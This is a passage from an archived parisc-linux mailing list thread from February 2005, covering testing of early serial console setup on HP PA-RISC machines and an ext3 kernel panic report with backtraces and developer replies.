	Sun, 13 Feb 2005 19:13:05 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1D0Vj2-0001R8-Mk; Mon, 14 Feb 2005 02:12:36 +0000
Content-Disposition: inline
In-Reply-To: <20050211223525.GH2277@tausq.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GDEmCzkMQEVssejDZnVpSktKNzg2NQLV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22339

On Fri, Feb 11, 2005 at 02:35:25PM -0800, Randolph Chung wrote:
> Especially interesting would be something that uses non-8250 consoles,
> such as E/K class systems that use the serial mux console. I suspect
> some changes are needed there. If you can test on such a system, and see
> some problems [*], please let me know. likely we will need to move the
> register_console() call from mux_probe() into a separate initcall.
> 
> [*] during startup, the console print messages should show up regularly,
> and only once. symptoms of problems are if your console prints pause
> for a long time, or if you start seeing each line printed twice.

My comments in >>> <<<, this is the boot log from Knapps

Linux version 2.6.11-rc3-pa5 (willy@palinux) (gcc version 3.3.5 (Debian 1:3.3.5-5)) #9 Sun Feb 13 18:53:41 MST 2005
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 000058f0 00000491 00000000 00000002 53ad0a91 100000f1 00000008 000000b2 000000b2
vers  00000201
CPUID vers 14 rev 5 (0x000001c5)
model 9000/889/K460
Total Memory: 1920 Mb
Built 1 zonelists
Kernel command line: HOME=/ root=/dev/sda3 console=ttyB0 TERM=vt102 palo_kernel=0/vmlinux
PID hash table entries: 4096 (order: 12, 65536 bytes)
Switching from PDC console
>>> Long pause here <<<
Linux version 2.6.11-rc3-pa5 (willy@palinux) (gcc version 3.3.5 (Debian 1:3.3.5-5)) #9 Sun Feb 13 18:53:41 MST 2005
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 000058f0 00000491 00000000 00000002 53ad0a91 100000f1 00000008 000000b2 000000b2
vers  00000201
CPUID vers 14 rev 5 (0x000001c5)
model 9000/889/K460
Total Memory: 1920 Mb
Built 1 zonelists
Kernel command line: HOME=/ root=/dev/sda3 console=ttyB0 TERM=vt102 palo_kernel=0/vmlinux
PID hash table entries: 4096 (order: 12, 65536 bytes)
Switching from PDC console
Console: colour dummy device 160x64
Dentry cache hash table entries: 262144 (order: 8, 1048576 bytes)
Inode-cache hash table entries: 131072 (order: 7, 524288 bytes)
Memory: 1966080k available
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
NET: Registered protocol family 16
>>>lots more here<<<
Serial mux driver (8 ports) Revision: 0.3
ttyB0 at MMIO 0xf1900800 (polled) is a Mux
>>>etc<<<
Debian GNU/Linux 3.1 knapps ttyB0

knapps login: root
Password: 
Last login: Mon Feb 14 01:56:30 2005 on ttyB0
Linux knapps 2.6.11-rc3-pa5 #9 Sun Feb 13 18:53:41 MST 2005 parisc GNU/Linux


-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] a b180 panic with 2.6.11-rc3-pa3
Date: Mon, 14 Feb 2005 11:30:43 +0000
Lines: 59
Approved: news@gmane.org
Message-ID: <42075CE800002E4E@mail-6-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623666 12683 80.91.229.3 (22 Nov 2014 02:34:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:26 +0000 (UTC)
To: "List Parisc" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Feb 2005 11:31:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 14 Feb 2005 12:31:01 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2E2E7D639;
	Mon, 14 Feb 2005 04:31:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14092-08; Mon, 14 Feb 2005 04:31:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C39AE7D63A;
	Mon, 14 Feb 2005 04:31:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF8E77D637
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Feb 2005 04:31:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14167-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Feb 2005 04:31:15 -0700 (MST)
Original-Received: from mrq-1.tiscali.sys (unknown [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 224247D626
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Feb 2005 04:31:15 -0700 (MST)
Original-Received: from mail-6-bnl.mail.tiscali.sys ([10.39.115.136]
	helo=mail-6-bnl.tiscali.it)
	by mrq-1.tiscali.sys with esmtp (Exim 4.43) id 1D0eRB-0003Ih-7C
	for parisc-linux@lists.parisc-linux.org; Mon, 14 Feb 2005 12:30:46 +0100
Original-Received: from [57.67.177.33] by mail-6-bnl.tiscali.it with HTTP;
	Mon, 14 Feb 2005 12:30:43 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wrkicaZjPTRtvejGPjIwMzIxc2tpZMvW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22340

Hi all,

Don't know if somebody else also emcountered such panic:
Backtrace:
 [<101bb588>] journal_add_journal_head+0xdc/0x13c
 [<101b4dd8>] journal_dirty_data+0x64/0x1b0
 [<101a6be4>] ext3_journal_dirty_data+0x1c/0x60
 [<101a69a8>] walk_page_buffers+0xe0/0xf0
 [<101a72b8>] ext3_ordered_writepage+0x168/0x1fc
 [<1018d770>] mpage_writepages+0x28c/0x3a0
 [<1018bae4>] __sync_single_inode+0x5c/0x278
 [<1018bd68>] __writeback_single_inode+0x68/0x168
 [<1018c034>] sync_sb_inodes+0x1cc/0x310
 [<1018c1e8>] writeback_inodes+0x70/0xd4
 [<10149088>] background_writeout+0xb4/0x10c
 [<10149e40>] __pdflush+0x138/0x204
 [<10149f2c>] pdflush+0x20/0x2c
 [<1013c564>] kthread+0xdc/0xe4
 [<1010ac5c>] ret_from_kernel_thread+0x1c/0x24


Kernel Fault: Code=3D15 regs=3D17c84840 (Addr=3D20702352)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  00000000 10201800 101bb588 20702352
r04-07  122be660 122be660 122be660 00000000
r08-11  00000000 00000000 00001000 1230c3e8
r12-15  101a7120 17d1a990 00002000 00000000
r16-19  101a7150 17c84508 00000000 00000002
r20-23  00000000 00000000 20702352 00000000
r24-27  00000030 00000000 20702352 10375010
r28-31  20702352 100c74f4 17c84840 100c74fc
sr0-3   00000000 00000000 00000000 0000534b
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10201f1c 10201f20
 IIR: 0ed91222    ISR: 00000000  IOR: 20702352
 CPU:        0   CR30: 17c84000 CR31: 103d0000
 ORIG_R28: 17c84980
 IAOQ[0]: memset+0x24/0xa8
 IAOQ[1]: memset+0x28/0xa8
 RP(r2): journal_add_journal_head+0xdc/0x13c
Kernel panic - not syncing: Kernel Fault

Here on a b180 running 2.6.11-rc3-pa3 (while the system should be idle)

Any idea about known ext3 pb?

Joel



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [testers wanted] cleanup early console setup
Date: Mon, 14 Feb 2005 14:26:42 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <20050214142642.GD29917@parcelfarce.linux.theplanet.co.uk>
References: <20050211223525.GH2277@tausq.org>
	<20050214021236.GA29917@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623667 12685 80.91.229.3 (22 Nov 2014 02:34:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Feb 2005 14:26:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 14 Feb 2005 15:26:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EEE177D63F;
	Mon, 14 Feb 2005 07:27:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16109-10; Mon, 14 Feb 2005 07:27:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01C657D640;
	Mon, 14 Feb 2005 07:27:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 015997D63E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Feb 2005 07:27:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16092-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Feb 2005 07:27:10 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 7AE517D62E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Feb 2005 07:27:10 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1D0hBT-0005ut-1E; Mon, 14 Feb 2005 14:26:43 +0000
Content-Disposition: inline
In-Reply-To: <20050214021236.GA29917@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FI0mC3heQEVssejDZnVpSktKNzg2NQLT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22341

On Mon, Feb 14, 2005 at 02:12:36AM +0000, Matthew Wilcox wrote:
> On Fri, Feb 11, 2005 at 02:35:25PM -0800, Randolph Chung wrote:
> > Especially interesting would be something that uses non-8250 consoles,
> > such as E/K class systems that use the serial mux console. I suspect
> > some changes are needed there. If you can test on such a system, and see
> > some problems [*], please let me know. likely we will need to move the
> > register_console() call from mux_probe() into a separate initcall.
> > 
> > [*] during startup, the console print messages should show up regularly,
> > and only once. symptoms of problems are if your console prints pause
> > for a long time, or if you start seeing each line printed twice.

I'm not sure we can avoid the long pauses.  Look at what happens:

> Switching from PDC console
> Console: colour dummy device 160x64

The console starts up and disables the early console, using the dummy driver.
Then we wait while we do a buswalk ...

> Serial mux driver (8 ports) Revision: 0.3
> ttyB0 at MMIO 0xf1900800 (polled) is a Mux

... and eventually the mux driver gets registered and starts spewing
everything out.

So there's still a long period of time during which we have no console
driver registered and it's frequently the most interesting part from
the point of view of drivers or devices having trouble ;-(

Based on this, CON_BOOT seems like a superior solution.  That's annoying.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a b180 panic with 2.6.11-rc3-pa3
Date: Mon, 14 Feb 2005 22:13:59 +0000
Lines: 68
Approved: news@gmane.org
Message-ID: <e6eae029050214141362a7d859@mail.gmail.com>
References: <42075CE800002E4E@mail-6-bnl.tiscali.it>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623667 12688 80.91.229.3 (22 Nov 2014 02:34:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:27 +0000 (UTC)
Cc: List Parisc <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Feb 2005 22:14:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 14 Feb 2005 23:14:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0C327D62A;
	Mon, 14 Feb 2005 15:14:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22651-08; Mon, 14 Feb 2005 15:14:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1690B7D62B;
	Mon, 14 Feb 2005 15:14:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A7C77D629
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Feb 2005 15:14:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22389-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Feb 2005 15:14:28 -0700 (MST)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.204])
	by free.linux.hp.com (Postfix) with ESMTP id CB0D17D627
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Feb 2005 15:14:28 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id 36so2412641wra
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Feb 2005 14:13:59 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references;
	b=m8YEoC13eWq1kV7ADtUGPE+ykWrDGGTfmB/S/jatXf9QVLdDdZUvnajmRR45d15du2FGnN//oIBJrvLSz0NPLzK3hGhpti7Zl88c9VlareBhS9O65Hp2Eg3MsEi8PQnxX7bc8QwLbDz+PMi6ybaR2hPJBfq9SAcmpcKAFPwdYn0=
Original-Received: by 10.54.2.57 with SMTP id 57mr180930wrb;
	Mon, 14 Feb 2005 14:13:59 -0800 (PST)
Original-Received: by 10.54.57.13 with HTTP; Mon, 14 Feb 2005 14:13:59 -0800 (PST)
In-Reply-To: <42075CE800002E4E@mail-6-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7lZ0MjU7ZCEX7LGPamwhd2FwIGhpZYZf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22342

On Mon, 14 Feb 2005 11:30:43 +0000, Joel Soete <soete.joel@tiscali.be> wrote:
> Hi all,
> 
> Don't know if somebody else also emcountered such panic:
> Backtrace:

> [<101bb588>] journal_add_journal_head+0xdc/0x13c
> [<101b4dd8>] journal_dirty_data+0x64/0x1b0
> [<101a6be4>] ext3_journal_dirty_data+0x1c/0x60
> [<101a69a8>] walk_page_buffers+0xe0/0xf0
> [<101a72b8>] ext3_ordered_writepage+0x168/0x1fc
> [<1018d770>] mpage_writepages+0x28c/0x3a0
> [<1018bae4>] __sync_single_inode+0x5c/0x278
> [<1018bd68>] __writeback_single_inode+0x68/0x168
> [<1018c034>] sync_sb_inodes+0x1cc/0x310
> [<1018c1e8>] writeback_inodes+0x70/0xd4
> [<10149088>] background_writeout+0xb4/0x10c
> [<10149e40>] __pdflush+0x138/0x204
> [<10149f2c>] pdflush+0x20/0x2c
> [<1013c564>] kthread+0xdc/0xe4
> [<1010ac5c>] ret_from_kernel_thread+0x1c/0x24
>
> [...]
> 
> IASQ: 00000000 00000000 IAOQ: 10201f1c 10201f20
> IIR: 0ed91222    ISR: 00000000  IOR: 20702352
> CPU:        0   CR30: 17c84000 CR31: 103d0000
> ORIG_R28: 17c84980
> IAOQ[0]: memset+0x24/0xa8
> IAOQ[1]: memset+0x28/0xa8
> RP(r2): journal_add_journal_head+0xdc/0x13c
> Kernel panic - not syncing: Kernel Fault
> 
> Here on a b180 running 2.6.11-rc3-pa3 (while the system should be idle)

Long time ago I have seen a couple of those. I can't remember what
exact kernel version(s) it was, but it happened with the earlier 2.6
kernels.
Pretty much the same output (I think I once posted it on the mailing
list), but I only got this when I tried out some graphics card (ATI,
Voodoo2 or Matrox?) and shortly after xdm started (and not every
time). I think 64bit kernels triggered it more easily.

But I haven't gotten one of those lately (at least not with 2.6.10-rc1
and later, with Matrox graphics card).

> Any idea about known ext3 pb?

Good question. I have a different problem than the one above: In very
rare occations, when transferring very big files onto a USB-hdd
(ext3), the files are being silently corrupted (no kernel log
messages). But I don't know whether that problem is related to ext3 or
usb-storage or a faulty h/w.

Back to your problem: I don't know/think that there are any severe
problems with ext3, at least I was using it on PA for a long time and
it worked quite well. But there is always the possibility that there
are some hidden bugs that are triggered in rare situations however ...


Greetings,
  Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG XFS 2.6.11-rc4-pa1
Date: Tue, 15 Feb 2005 18:12:25 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <4209EEB90000286C@mail-2-bnl.tiscali.it>
References: <20050214044445.GD22633@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623667 12692 80.91.229.3 (22 Nov 2014 02:34:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:27 +0000 (UTC)
To: "Grant Grundler" <grundler@parisc-linux.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Feb 2005 17:12:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx028) with SMTP; 15 Feb 2005 18:12:54 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB27C7D615;
	Tue, 15 Feb 2005 10:13:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26649-02; Tue, 15 Feb 2005 10:13:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C74347D626;
	Tue, 15 Feb 2005 10:13:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C3E67D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 10:13:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26526-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 10:12:59 -0700 (MST)
Original-Received: from mrq-1.tiscali.sys (unknown [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id A12AF7D60D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Feb 2005 10:12:59 -0700 (MST)
Original-Received: from mail-2-bnl.mail.tiscali.sys ([10.39.115.132]
	helo=mail-2-bnl.tiscali.it)
	by mrq-1.tiscali.sys with esmtp (Exim 4.43)
	id 1D16FO-0004YM-GZ; Tue, 15 Feb 2005 18:12:29 +0100
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Tue, 15 Feb 2005 18:12:25 +0100
In-Reply-To: <20050214044445.GD22633@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
